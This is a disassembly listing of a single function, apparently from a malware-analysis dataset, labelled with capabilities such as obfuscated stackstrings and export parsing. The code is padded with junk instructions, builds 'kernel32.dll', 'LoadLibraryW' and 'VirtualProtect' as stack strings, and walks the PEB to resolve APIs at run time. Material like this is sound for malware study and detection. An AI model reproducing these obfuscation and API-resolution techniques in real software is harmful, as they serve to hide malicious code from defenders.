Function at 0x509593
Capabilities:
Contain obfuscated stackstrings
Get number of processors
Resolve function by parsing pe exports

Disassembly:
add esp, 4
pop edx
cmp dword [ebp - 0x14d4], 0
jne 0x50814e
mov dword [ebp - 0x2e0], 0
jmp 0x50840a
mov eax, dword [ebp - 0x14d4]
mov ecx, dword [eax + 0xc]
mov edx, dword [ecx + 0xc]
mov dword [ebp - 0xc20], edx
push ecx
add ecx, 0xfeef
pop ecx
push ebx
push eax
add esp, 4
xor ebx, 0x11f43
pop ebx
push esi
push ebx
add esp, 4
sub esi, 0x908e
add esi, 0x4393
add esi, 0x90ec
add esi, 0x8fec
pop esi
cmp dword [ebp - 0xc20], 0
jne 0x5081aa
mov dword [ebp - 0x2e0], 0
jmp 0x50840a
mov eax, dword [ebp - 0xc20]
mov dword [ebp - 0x4d4], eax
push edx
jmp 0x5081bd
add edx, 0x1631
call 0x5081d0
add byte [ebp + 0x40], al
cmp esi, dword [ebx + ecx*2]
dec ebp
dec esi
add esp, 4
and edx, 0xcdfd
pop edx
push ecx
add ecx, 0xcd59
xor ecx, 0xa752
pop ecx
lea ecx, [ebp - 0x1628]
mov dword [ebp - 0xc1c], ecx
mov edx, dword [ebp - 0x4d4]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0xc18], eax
xor ecx, ecx
mov word [ebp - 0x1f8], cx
xor edx, edx
mov word [ebp - 0x100], dx
push ebx
push ecx
add esp, 4
and ebx, 0x1025d
pop ebx
push edi
xor edi, 0x83f4
jmp 0x50822f
add edi, 0xa66e
call 0x508243
add byte [eax + ecx*2 + 0x33], cl
cmp eax, 0x434e4e3a
add esp, 4
pop edi
mov eax, dword [ebp - 0xc18]
mov cx, word [eax]
mov word [ebp - 0xf7e], cx
mov edx, dword [ebp - 0xc18]
add edx, 2
mov dword [ebp - 0xc18], edx
mov ax, word [ebp - 0xf7e]
mov word [ebp - 0x1f8], ax
mov ecx, dword [ebp - 0xc1c]
mov dx, word [ecx]
mov word [ebp - 0xf80], dx
mov eax, dword [ebp - 0xc1c]
add eax, 2
mov dword [ebp - 0xc1c], eax
mov cx, word [ebp - 0xf80]
mov word [ebp - 0x100], cx
push ecx
xor ecx, 0x875e
and ecx, 0x6513
and ecx, 0x13fc1
xor ecx, 0x3588
pop ecx
push ecx
jmp 0x5082c4
pop ecx
push edx
add edx, 0x2f3b
add edx, 0x3873
pop edx
movzx edx, word [ebp - 0x100]
test edx, edx
jne 0x5082f6
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
sub eax, ecx
mov dword [ebp - 0x1498], eax
jmp 0x508359
movzx edx, word [ebp - 0x1f8]
movzx eax, word [ebp - 0x100]
cmp edx, eax
je 0x508215
movzx ecx, word [ebp - 0x1f8]
xor ecx, 0x20
movzx edx, word [ebp - 0x100]
cmp ecx, edx
je 0x508215
movzx eax, word [ebp - 0x1f8]
movzx ecx, word [ebp - 0x100]
cmp eax, ecx
jge 0x508343
mov dword [ebp - 0x14d8], 0xffffffff
jmp 0x50834d
mov dword [ebp - 0x14d8], 1
mov edx, dword [ebp - 0x14d8]
mov dword [ebp - 0x1498], edx
cmp dword [ebp - 0x1498], 0
jne 0x5083a2
push esi
push ebx
add esp, 4
call 0x508376
add byte [edi + 0x4b], al
cmp eax, 0x3d414734
inc ecx
cmp al, 0x83
les eax, [ecx + eax*4]
mul byte [eax]
xor byte [eax], al
add byte [esi + 0x50], bl
or eax, 0xef32
add eax, 0x13784
and eax, 0xdd0c
pop eax
mov eax, dword [ebp - 0x4d4]
mov dword [ebp - 0x2e0], eax
jmp 0x50840a
push ebx
xor ebx, 0x14c4e
xor ebx, 0x1265
pop ebx
push esi
sub esi, 0x14533
xor esi, 0xc839
add esi, 0x176ff
pop esi
push ecx
add ecx, 0xcee1
pop ecx
push ecx
and ecx, 0x132f7
pop ecx
mov ecx, dword [ebp - 0x4d4]
mov edx, dword [ecx]
mov dword [ebp - 0x4d4], edx
mov eax, dword [ebp - 0x4d4]
cmp eax, dword [ebp - 0xc20]
je 0x508400
mov ecx, dword [ebp - 0x4d4]
cmp dword [ecx + 0x30], 0
jne 0x5081b6
mov dword [ebp - 0x2e0], 0
push ecx
push eax
add esp, 4
sub ecx, 0x11edb
jmp 0x50841c
pop ecx
push esi
add esi, 0x4b39
or esi, 0x1445a
jmp 0x508433
pop esi
push edx
or edx, 0x159e
pop edx
cmp dword [ebp - 0x2e0], 0
jne 0x508d55
mov edx, 0x6b
mov word [ebp - 0x16cc], dx
mov eax, 0x65
mov word [ebp - 0x16ca], ax
mov ecx, 0x72
mov word [ebp - 0x16c8], cx
mov edx, 0x6e
mov word [ebp - 0x16c6], dx
mov eax, 0x65
mov word [ebp - 0x16c4], ax
mov ecx, 0x6c
mov word [ebp - 0x16c2], cx
mov edx, 0x33
mov word [ebp - 0x16c0], dx
mov eax, 0x32
mov word [ebp - 0x16be], ax
mov ecx, 0x2e
mov word [ebp - 0x16bc], cx
mov edx, 0x64
mov word [ebp - 0x16ba], dx
mov eax, 0x6c
mov word [ebp - 0x16b8], ax
mov ecx, 0x6c
mov word [ebp - 0x16b6], cx
xor edx, edx
mov word [ebp - 0x16b4], dx
push ecx
push esi
add esp, 4
sub ecx, 0x5dab
pop ecx
push ebx
push ebx
add esp, 4
and ebx, 0x12cc4
pop ebx
push ebx
sub ebx, 0xc381
sub ebx, 0x13336
pop ebx
push ecx
push edi
add esp, 4
or ecx, 0x150e0
pop ecx
mov byte [ebp - 0x820], 0x4c
mov byte [ebp - 0x81f], 0x6f
mov byte [ebp - 0x81e], 0x61
mov byte [ebp - 0x81d], 0x64
mov byte [ebp - 0x81c], 0x4c
mov byte [ebp - 0x81b], 0x69
mov byte [ebp - 0x81a], 0x62
mov byte [ebp - 0x819], 0x72
mov byte [ebp - 0x818], 0x61
mov byte [ebp - 0x817], 0x72
mov byte [ebp - 0x816], 0x79
mov byte [ebp - 0x815], 0x57
mov byte [ebp - 0x814], 0
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1898], eax
mov ecx, dword [ebp - 0x1898]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x189c], edx
mov eax, dword [ebp - 0x189c]
mov dword [ebp - 0x14dc], eax
push ecx
xor ecx, 0x10ccf
jmp 0x5085a6
pop ecx
push ebx
add ebx, 0xd78
call 0x5085be
add byte [ebp + 0x4d], al
inc ebp
dec ecx
xor edi, dword [esi]
dec ecx
inc eax
inc ebx
aaa
add esp, 4
and ebx, 0x6101
pop ebx
cmp dword [ebp - 0x14dc], 0
jne 0x5085e0
mov dword [ebp - 0x6ec], 0
jmp 0x50889c
mov ecx, dword [ebp - 0x14dc]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc2c], eax
push ecx
push edx
add esp, 4
add ecx, 0x6673
sub ecx, 0x2c61
pop ecx
push edi
push ecx
add esp, 4
or edi, 0x157f1
xor edi, 0x1523e
xor edi, 0x72f9
pop edi
push ebx
sub ebx, 0x899a
pop ebx
cmp dword [ebp - 0xc2c], 0
jne 0x50863c
mov dword [ebp - 0x6ec], 0
jmp 0x50889c
mov ecx, dword [ebp - 0xc2c]
mov dword [ebp - 0x4d8], ecx
push eax
and eax, 0xd29d
or eax, 0x7618
sub eax, 0xebfd
pop eax
push edx
or edx, 0xd445
or edx, 0x8ac1
pop edx
push eax
or eax, 0x1731d
pop eax
push ecx
or ecx, 0x4173
pop ecx
lea edx, [ebp - 0x16cc]
mov dword [ebp - 0xc28], edx
mov eax, dword [ebp - 0x4d8]
mov ecx, dword [eax + 0x30]
mov dword [ebp - 0xc24], ecx
xor edx, edx
mov word [ebp - 0x1fc], dx
xor eax, eax
mov word [ebp - 0x104], ax
push esi
push esi
add esp, 4
xor esi, 0x105be
and esi, 0x4f84
sub esi, 0x56dc
and esi, 0x7000
pop esi
push esi
push ebx
add esp, 4
jmp 0x5086d2
sub esi, 0xf593
pop esi
mov ecx, dword [ebp - 0xc24]
mov dx, word [ecx]
mov word [ebp - 0xf82], dx
mov eax, dword [ebp - 0xc24]
add eax, 2
mov dword [ebp - 0xc24], eax
mov cx, word [ebp - 0xf82]
mov word [ebp - 0x1fc], cx
mov edx, dword [ebp - 0xc28]
mov ax, word [edx]
mov word [ebp - 0xf84], ax
mov ecx, dword [ebp - 0xc28]
add ecx, 2
mov dword [ebp - 0xc28], ecx
mov dx, word [ebp - 0xf84]
mov word [ebp - 0x104], dx
push ecx
sub ecx, 0xd797
pop ecx
push ecx
and ecx, 0x1bb6
call 0x508752
add byte [edx + 0x3d], cl
inc esi
dec ebp
xor al, byte [eax + ecx*2 + 0x38]
dec esp
dec edx
add esp, 4
call 0x508761
add byte [eax + 0x4d], cl
dec esi
dec esp
cmp dword [eax], edi
add esp, 4
pop ecx
movzx eax, word [ebp - 0x104]
test eax, eax
jne 0x508788
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
sub ecx, edx
mov dword [ebp - 0x14e4], ecx
jmp 0x5087eb
movzx eax, word [ebp - 0x1fc]
movzx ecx, word [ebp - 0x104]
cmp eax, ecx
je 0x5086a7
movzx edx, word [ebp - 0x1fc]
xor edx, 0x20
movzx eax, word [ebp - 0x104]
cmp edx, eax
je 0x5086a7
movzx ecx, word [ebp - 0x1fc]
movzx edx, word [ebp - 0x104]
cmp ecx, edx
jge 0x5087d5
mov dword [ebp - 0x14e0], 0xffffffff
jmp 0x5087df
mov dword [ebp - 0x14e0], 1
mov eax, dword [ebp - 0x14e0]
mov dword [ebp - 0x14e4], eax
cmp dword [ebp - 0x14e4], 0
jne 0x508834
push ebx
jmp 0x5087fd
sub ebx, 0x5e1f
pop ebx
push edx
add edx, 0x1075f
or edx, 0xf85f
add edx, 0x8277
pop edx
push edx
jmp 0x50881f
or edx, 0xa40f
pop edx
mov ecx, dword [ebp - 0x4d8]
mov dword [ebp - 0x6ec], ecx
jmp 0x50889c
push eax
push ebx
add esp, 4
sub eax, 0x5fb9
jmp 0x508846
sub eax, 0x54a4
pop eax
push eax
xor eax, 0x50e7
call 0x508862
add byte [ebp + 0x35], al
inc ebx
dec ebx
xor ecx, dword [esi + 0x41]
cmp dword [ebx - 0x74a7fb3c], eax
xchg ebp, eax
sub bl, bh
invalid
push edi
push esi
add esp, 4
xor edi, 0x1160b
sub edi, 0x36b6
pop edi
push edi
xor edi, 0x17634
sub edi, 0xda12
pop edi
push eax
push eax
add esp, 4
sub eax, 0xac83
add eax, 0x3da2
pop eax
cmp dword [ebp - 0x6ec], 0
jne 0x508918
push eax
push edi
add esp, 4
sub eax, 0xbda9
and eax, 0x8d21
pop eax
push ebx
add ebx, 0x13e06
xor ebx, 0xea8c
pop ebx
push edx
push esi
add esp, 4
add edx, 0x26ae
or edx, 0x4689
pop edx
mov dword [ebp - 0x738], 0
jmp 0x50943f
push ebx
xor ebx, 0x17db8
jmp 0x508925
xor ebx, 0x9196
pop ebx
push ecx
push eax
add esp, 4
xor ecx, 0x12752
or ecx, 0xe35e
pop ecx
push esi
push edx
add esp, 4
add esi, 0x14871
pop esi
mov eax, dword [ebp - 0x6ec]
mov ecx, dword [eax + 0x18]
mov dword [ebp - 0x2f8], ecx
mov dword [ebp - 0x6fc], 0
mov edx, dword [ebp - 0x2f8]
mov dword [ebp - 0x14e8], edx
cmp dword [ebp - 0x14e8], 0
jne 0x508989
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508c7a
mov ecx, dword [ebp - 0x14e8]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x3c]
mov dword [ebp - 0x14ec], edx
jne 0x5089b1
mov eax, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], eax
jmp 0x508c7a
mov ecx, 8
imul edx, ecx, 0
mov eax, dword [ebp - 0x14ec]
mov ecx, dword [eax + edx + 0x78]
mov dword [ebp - 0x14f0], ecx
cmp dword [ebp - 0x14f0], 0
jne 0x5089e3
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
jmp 0x508c7a
mov eax, dword [ebp - 0x2f8]
add eax, dword [ebp - 0x14f0]
mov dword [ebp - 0x6f0], eax
jne 0x508a08
mov ecx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], ecx
jmp 0x508c7a
mov edx, dword [ebp - 0x6f0]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + 0x20]
mov dword [ebp - 0x18a0], eax
mov ecx, dword [ebp - 0x6f0]
mov edx, dword [ebp - 0x2f8]
add edx, dword [ecx + 0x24]
mov dword [ebp - 0x18a4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + 0x1c]
mov dword [ebp - 0x18a8], ecx
mov dword [ebp - 0x6f4], 0
jmp 0x508a62
mov edx, dword [ebp - 0x6f4]
add edx, 1
mov dword [ebp - 0x6f4], edx
mov eax, dword [ebp - 0x6f0]
mov ecx, dword [ebp - 0x6f4]
cmp ecx, dword [eax + 0x18]
jae 0x508c6e
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a0]
mov ecx, dword [ebp - 0x2f8]
add ecx, dword [eax + edx*4]
mov dword [ebp - 0x6f8], ecx
mov edx, dword [ebp - 0x6f4]
mov eax, dword [ebp - 0x18a4]
movzx ecx, word [eax + edx*2]
mov edx, dword [ebp - 0x18a8]
mov eax, dword [ebp - 0x2f8]
add eax, dword [edx + ecx*4]
mov dword [ebp - 0x18ac], eax
mov dword [ebp - 0x180], 0
jmp 0x508ad2
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
test eax, eax
je 0x508b84
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
test edx, edx
je 0x508b84
push esi
add esi, 0x12b94
call 0x508b15
add byte [eax + 0x47], dl
inc edi
inc edx
inc ebx
cmp byte [esi + 0x3f], al
inc esp
add esp, 4
call 0x508b27
add byte [eax + 0x43], al
inc edi
dec edi
dec ebx
inc edx
inc esi
inc ebp
xor eax, dword [ebx - 0x197efb3c]
out dx, al
and dword [eax], eax
add byte [esi - 0x75], bl
test dword [eax], ecx
stc
invalid
push ecx
call 0x508b91
add byte [esi], bh
inc ebx
xor bh, byte [ecx]
xor eax, 0x4c4833e
jmp 0x508b9b
xor ecx, 0x13256
add ecx, 0x35d5
pop ecx
push eax
sub eax, 0x80c6
or eax, 0xa6e0
pop eax
mov edx, dword [ebp - 0x6f8]
add edx, dword [ebp - 0x180]
movsx eax, byte [edx]
mov ecx, dword [ebp - 0x180]
movsx edx, byte [ebp + ecx - 0x820]
cmp eax, edx
jne 0x508be3
mov dword [ebp - 0xc30], 0
jmp 0x508c52
push eax
push ebx
add esp, 4
or eax, 0x13041
and eax, 0x150b7
and eax, 0x12017
xor eax, 0x3e4d
pop eax
push ecx
push eax
add esp, 4
jmp 0x508c0e
sub ecx, 0xdcc6
pop ecx
mov eax, dword [ebp - 0x6f8]
add eax, dword [ebp - 0x180]
movsx ecx, byte [eax]
or ecx, 0x20
mov edx, dword [ebp - 0x180]
movsx eax, byte [ebp + edx - 0x820]
or eax, 0x20
cmp ecx, eax
jge 0x508c48
mov dword [ebp - 0xc30], 0xffffffff
jmp 0x508c52
mov dword [ebp - 0xc30], 1
cmp dword [ebp - 0xc30], 0
jne 0x508c69
mov ecx, dword [ebp - 0x18ac]
mov dword [ebp - 0x3c4], ecx
jmp 0x508c7a
jmp 0x508a53
mov edx, dword [ebp - 0x6fc]
mov dword [ebp - 0x3c4], edx
cmp dword [ebp - 0x3c4], 0
je 0x508d55
push esi
push edi
add esp, 4
add esi, 0x6ca0
jmp 0x508c9a
add esi, 0x1384c
pop esi
push eax
push edx
add esp, 4
add eax, 0xd4f5
pop eax
push ebx
push edi
add esp, 4
sub ebx, 0xbc34
pop ebx
mov eax, dword [ebp - 0x3c4]
mov dword [ebp - 0x18b0], eax
push ecx
push ecx
add esp, 4
add ecx, 0x14eb
pop ecx
push esi
sub esi, 0x8993
pop esi
push edx
jmp 0x508ce0
or edx, 0x90e
call 0x508cf3
add byte [edi], dh
inc edi
dec edi
inc esp
inc ecx
inc eax
add esp, 4
pop edx
mov ecx, dword [ebp - 0x18b0]
mov dword [ebp - 0x18b4], ecx
lea edx, [ebp - 0x1628]
push edx
call dword [ebp - 0x18b4]
test eax, eax
jne 0x508d55
push ebx
add ebx, 0x113c2
or ebx, 0x7b55
or ebx, 0x11770
jmp 0x508d2e
pop ebx
push ecx
call 0x508d3c
add byte [edi], dh
xor eax, 0x4132373f
add esp, 4
jmp 0x508d45
pop ecx
mov dword [ebp - 0x738], 0
jmp 0x50943f
push ebx
push ecx
add esp, 4
call 0x508d69
add byte [ebx], dh
cmp dword [edi + edi + 0x41], ecx
dec edi
dec edx
xor eax, 0x8104c483
retf
push esi
push edi
add esp, 4
xor esi, 0x10b0e
pop esi
push edx
push edi
add esp, 4
jmp 0x509459
jmp 0x509462
xor edx, 0x13e3
pop edx
push ebx
and ebx, 0x15693
pop ebx
mov ecx, dword [ebp - 0x3cc]
add ecx, 0xe
mov dword [ebp - 0x1918], ecx
push eax
or eax, 0xdb8d
jmp 0x50948d
jmp 0x509495
pop eax
push esi
jmp 0x50949e
jmp 0x5094a4
pop esi
push edx
and edx, 0xa3c1
jmp 0x5094b1
pop edx
cmp dword [ebp - 0x3cc], 0
je 0x5094c4
cmp dword [ebp - 0xa5c], 0
jne 0x50950a
push eax
push ecx
add esp, 4
add eax, 0x14c8b
xor eax, 0xa88b
xor eax, 0xfd46
jmp 0x5094e0
pop eax
push eax
push ecx
add esp, 4
call 0x5094f2
add byte [edi], dh
xor cl, byte [edx + 0x4f]
dec ebx
dec ebp
add esp, 4
pop eax
mov edx, dword [ebp - 0x738]
mov dword [ebp - 0x18d0], edx
push 0
call dword [ebp - 0x18d0]
mov dword [ebp - 0x1fb0], 0xa
push eax
and eax, 0xf00
add eax, 0xa219
and eax, 0x8e04
pop eax
push ecx
push edi
add esp, 4
and ecx, 0x12ae6
xor ecx, 0x16e53
xor ecx, 0x10d5a
sub ecx, 0xe4b1
pop ecx
mov eax, dword [ebp - 0x3cc]
mov cl, byte [eax + 0xa]
mov byte [ebp - 0x381], cl
mov edx, dword [ebp - 0xa5c]
sub edx, dword [ebp - 0x3cc]
mov dword [ebp - 0x158c], edx
mov dword [ebp - 0xc70], 0
push eax
push edx
add esp, 4
call 0x509582
add byte [ebx + 0x4e], cl
aas
aaa
inc ecx
aas
add esp, 4
call 0x509593
add byte [edi], bh
xor dh, byte ss:[eax + ecx*2]
cmp eax, dword [ecx + 0x32]
add esp, 4
add eax, 0xf5da
sub eax, 0xf754
pop eax
mov byte [ebp - 0x960], 0x56
mov byte [ebp - 0x95f], 0x69
mov byte [ebp - 0x95e], 0x72
mov byte [ebp - 0x95d], 0x74
mov byte [ebp - 0x95c], 0x75
mov byte [ebp - 0x95b], 0x61
mov byte [ebp - 0x95a], 0x6c
mov byte [ebp - 0x959], 0x50
mov byte [ebp - 0x958], 0x72
mov byte [ebp - 0x957], 0x6f
mov byte [ebp - 0x956], 0x74
mov byte [ebp - 0x955], 0x65
mov byte [ebp - 0x954], 0x63
mov byte [ebp - 0x953], 0x74
mov byte [ebp - 0x952], 0
push edi
sub edi, 0x15a77
call 0x509622
add byte [edi], bh
cmp al, 0x4c
inc edi
inc ebp
xor eax, 0x83424a4f
les eax, [ecx + eax*4]
out dx, eax
or esp, dword [ecx + eax]
add byte [ecx + 0xf468ef], al
add byte [edi + 0x57], bl
push edx
add esp, 4
sub edi, 0x14fa0
pop edi
mov eax, dword fs:[0x18]
mov dword [ebp - 0x1c34], eax
mov ecx, dword [ebp - 0x1c34]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0x18d4], edx
mov eax, dword [ebp - 0x18d4]
mov dword [ebp - 0x150c], eax
push ebx
push esi
add esp, 4
add ebx, 0xda39
call 0x50967f
add byte [esi], dh
cmp eax, 0x334e4d3e
dec esi
aaa
cmp eax, 0x5b04c483
push ebx
xor ebx, 0x17147
and ebx, 0x2559
or ebx, 0x3a00
pop ebx
cmp dword [ebp - 0x150c], 0
jne 0x5096af
mov dword [ebp - 0x2a8], 0
jmp 0x509956
mov ecx, dword [ebp - 0x150c]
mov edx, dword [ecx + 0xc]
mov eax, dword [edx + 0xc]
mov dword [ebp - 0xc4c], eax
push edx
push eax
add esp, 4
or edx, 0x16dd7
xor edx, 0xe1c8
and edx, 0x9be1
sub edx, 0xdea0
pop edx
push ebx
push ebx
add esp, 4
xor ebx, 0x1137e
pop ebx
push esi
or esi, 0xc582
pop esi
cmp dword [ebp - 0xc4c], 0
jne 0x50970b
mov dword [ebp - 0x2a8], 0
jmp 0x509956
mov ecx, dword [ebp - 0xc4c]
mov dword [ebp - 0x4e4], ecx
push esi
push eax
add esp, 4
or esi, 0xd665
pop esi
push edi
call 0x509733
add byte [0x404e4b3c], bh
inc ebp
cmp eax, dword [edx + ecx*2 - 0x7d]
les eax, [ecx + eax*4]
iretd
push esi
or esi, 0xb694
call 0x50996a
add byte [ecx + 0x3c], al
xor eax, 0x42355038
add esp, 4
pop esi
push esi
push ecx
add esp, 4
sub esi, 0xc087
pop esi
push esi
add esi, 0xbca7
or esi, 0x27bc
pop esi
cmp dword [ebp - 0x2a8], 0
jne 0x50a28d
mov eax, 0x6b
mov word [ebp - 0x16e8], ax
mov ecx, 0x65
mov word [ebp - 0x16e6], cx
mov edx, 0x72
mov word [ebp - 0x16e4], dx
mov eax, 0x6e
mov word [ebp - 0x16e2], ax
mov ecx, 0x65
mov word [ebp - 0x16e0], cx
mov edx, 0x6c
mov word [ebp - 0x16de], dx
mov eax, 0x33
mov word [ebp - 0x16dc], ax
mov ecx, 0x32
mov word [ebp - 0x16da], cx
mov edx, 0x2e
mov word [ebp - 0x16d8], dx
mov eax, 0x64
mov word [ebp - 0x16d6], ax
mov ecx, 0x6c
mov word [ebp - 0x16d4], cx
mov edx, 0x6c
mov word [ebp - 0x16d2], dx
xor eax, eax
mov word [ebp - 0x16d0], ax
push edx
push edx
add esp, 4
add edx, 0x11c1b
sub edx, 0x6c4f
pop edx
push esi
push edx
add esp, 4
sub esi, 0xb7c5
add esi, 0x6548
xor esi, 0x14e1a
pop esi
push ecx
xor ecx, 0x167db
pop ecx
mov byte [ebp - 0x830], 0x4c
mov byte [ebp - 0x82f], 0x6f
mov byte [ebp - 0x82e], 0x61
mov byte [ebp - 0x82d], 0x64
mov byte [ebp - 0x82c], 0x4c
mov byte [ebp - 0x82b], 0x69
mov byte [ebp - 0x82a], 0x62
mov byte [ebp - 0x829], 0x72
mov byte [ebp - 0x828], 0x61
mov byte [ebp - 0x827], 0x72
mov byte [ebp - 0x826], 0x79
mov byte [ebp - 0x825], 0x57
mov byte [ebp - 0x824], 0
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18d8], ecx
mov edx, dword [ebp - 0x18d8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18dc], eax
mov ecx, dword [ebp - 0x18dc]
mov dword [ebp - 0x1518], ecx
push ebx
push ecx
add esp, 4
sub ebx, 0x14895
and ebx, 0x158f0
sub ebx, 0x12e28
pop ebx
push esi
push edi
add esp, 4
add esi, 0x877b
or esi, 0x10033
pop esi
push edx
sub edx, 0x2b17
pop edx
cmp dword [ebp - 0x1518], 0
jne 0x509b2d
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0x1518]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc58], ecx
push edi
push esi
add esp, 4
xor edi, 0x123b3
pop edi
push ebx
sub ebx, 0x6536
sub ebx, 0xc0a0
sub ebx, 0x12768
xor ebx, 0x1736
pop ebx
push ecx
push ebx
add esp, 4
and ecx, 0x1ecd
pop ecx
cmp dword [ebp - 0xc58], 0
jne 0x509b89
mov dword [ebp - 0x710], 0
jmp 0x509dd4
mov edx, dword [ebp - 0xc58]
mov dword [ebp - 0x4e8], edx
push esi
push ebx
add esp, 4
jmp 0x509b9f
call 0x509bad
add byte [edx + 0x44], al
cmp al, byte [ecx + 0x46]
dec edx
aas
cmp eax, 0x8104c483
out dx, al
pop ecx
or eax, dword [eax]
add bl, ch
push es
aas
dec esp
inc eax
inc ebp
cmp bh, byte [edi]
pop esi
push edx
add edx, 0x2ab
pop edx
lea eax, [ebp - 0x16e8]
mov dword [ebp - 0xc54], eax
mov ecx, dword [ebp - 0x4e8]
mov edx, dword [ecx + 0x30]
mov dword [ebp - 0xc50], edx
xor eax, eax
mov word [ebp - 0x208], ax
xor ecx, ecx
mov word [ebp - 0x3c], cx
push edx
push eax
add esp, 4
call 0x509c03
add byte [edx], dh
dec esp
dec ecx
inc ebx
xor dh, byte [esi]
cmp al, 0x83
les eax, [eax + ebp*8]
or byte [eax], al
add byte [eax], al
add byte [edx + 0x4f], cl
dec esi
cmp byte [ebp + 0x45], cl
add esp, 4
or edx, 0x15711
add edx, 0x1374c
pop edx
mov edx, dword [ebp - 0xc50]
mov ax, word [edx]
mov word [ebp - 0xf8e], ax
mov ecx, dword [ebp - 0xc50]
add ecx, 2
mov dword [ebp - 0xc50], ecx
mov dx, word [ebp - 0xf8e]
mov word [ebp - 0x208], dx
mov eax, dword [ebp - 0xc54]
mov cx, word [eax]
mov word [ebp - 0xf90], cx
mov edx, dword [ebp - 0xc54]
add edx, 2
mov dword [ebp - 0xc54], edx
mov ax, word [ebp - 0xf90]
mov word [ebp - 0x3c], ax
push ebx
and ebx, 0x8755
and ebx, 0xe490
add ebx, 0x17464
pop ebx
push ecx
and ecx, 0xa932
and ecx, 0x9f13
jmp 0x509ca3
pop ecx
push edx
sub edx, 0x11b09
pop edx
movzx ecx, word [ebp - 0x3c]
test ecx, ecx
jne 0x509cc9
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
sub edx, eax
mov dword [ebp - 0x1560], edx
jmp 0x509d23
movzx ecx, word [ebp - 0x208]
movzx edx, word [ebp - 0x3c]
cmp ecx, edx
je 0x509bf1
movzx eax, word [ebp - 0x208]
xor eax, 0x20
movzx ecx, word [ebp - 0x3c]
cmp eax, ecx
je 0x509bf1
movzx edx, word [ebp - 0x208]
movzx eax, word [ebp - 0x3c]
cmp edx, eax
jge 0x509d0d
mov dword [ebp - 0x151c], 0xffffffff
jmp 0x509d17
mov dword [ebp - 0x151c], 1
mov ecx, dword [ebp - 0x151c]
mov dword [ebp - 0x1560], ecx
cmp dword [ebp - 0x1560], 0
jne 0x509d6c
push eax
xor eax, 0x4e49
add eax, 0x68a0
and eax, 0xc04d
pop eax
push edi
push eax
add esp, 4
or edi, 0x16988
xor edi, 0x6ce2
pop edi
push edi
push edi
add esp, 4
add edi, 0x5db6
pop edi
mov edx, dword [ebp - 0x4e8]
mov dword [ebp - 0x710], edx
jmp 0x509dd4
push edx
push edi
add esp, 4
xor edx, 0xdfa3
add edx, 0x1562a
call 0x509d8c
add byte [ebx + 0x3b], cl
cmp al, 0x35
cmp al, byte [edi + 0x36]
dec ebx
xor al, byte [ebx + 0x535a04c4]
and ebx, 0x5ad7
jmp 0x509d9d
pop ebx
mov eax, dword [ebp - 0x4e8]
mov ecx, dword [eax]
mov dword [ebp - 0x4e8], ecx
mov edx, dword [ebp - 0x4e8]
cmp edx, dword [ebp - 0xc58]
je 0x509dca
mov eax, dword [ebp - 0x4e8]
cmp dword [eax + 0x30], 0
jne 0x509b95
mov dword [ebp - 0x710], 0
push ebx
xor ebx, 0x743b
or ebx, 0xb7c3
pop ebx
push ecx
and ecx, 0x4aeb
pop ecx
push edi
jmp 0x509df2
call 0x509e02
add byte [esi], bh
cmp dword [eax + 0x36], ecx
aaa
xor dh, byte [eax + ecx*2]
xor al, byte [eax - 0x7d]
les eax, [edi + ebx*2]
cmp dword [ebp - 0x710], 0
jne 0x509e50
push eax
sub eax, 0x6952
or eax, 0x15cfd
pop eax
push edi
push esi
add esp, 4
xor edi, 0x151a4
or edi, 0xddb8
pop edi
push eax
push esi
add esp, 4
and eax, 0x65dd
add eax, 0x1634
pop eax
mov dword [ebp - 0xa58], 0
jmp 0x50a978
push edx
or edx, 0x4e92
pop edx
push edi
call 0x509e68
add byte [esi + 0x33], cl
xor ecx, dword [esp + eax*2 + 0x36]
dec ebx
xor bh, byte [0x8104c483]
invalid
push edx
push edi
add esp, 4
call 0x50a29e
add byte [eax + 0x4b], al
cmp eax, 0x83414746
les eax, [eax + ebp*8]
or dword [eax], eax
add byte [eax], al
add byte [eax + 0x34], dl
dec ebp
dec ebp
aas
xor ecx, dword [edx + 0x39]
add esp, 4
xor edx, 0x7756
add edx, 0x1a88
pop edx
mov ecx, dword fs:[0x18]
mov dword [ebp - 0x18f8], ecx
mov edx, dword [ebp - 0x18f8]
mov eax, dword [edx + 0x30]
mov dword [ebp - 0x18fc], eax
mov ecx, dword [ebp - 0x18fc]
mov dword [ebp - 0x1574], ecx
push ecx
push eax
add esp, 4
jmp 0x50a2f1
or ecx, 0x9940
and ecx, 0xebcb
and ecx, 0x18286
pop ecx
push esi
jmp 0x50a30c
and esi, 0xfbce
or esi, 0x6ea2
pop esi
cmp dword [ebp - 0x1574], 0
jne 0x50a331
mov dword [ebp - 0x2a8], 0
jmp 0x50a5d8
mov edx, dword [ebp - 0x1574]
mov eax, dword [edx + 0xc]
mov ecx, dword [eax + 0xc]
mov dword [ebp - 0xc68], ecx
push edi
or edi, 0xbbc0
pop edi
push ecx
sub ecx, 0x1720a
and ecx, 0xedcd
jmp 0x50a361
call 0x50a371
add byte [ecx + 0x42], al
dec eax
dec edi
xor ecx, dword [esi + 0x4d]
inc ecx
dec edi
add esp, 4
pop ecx
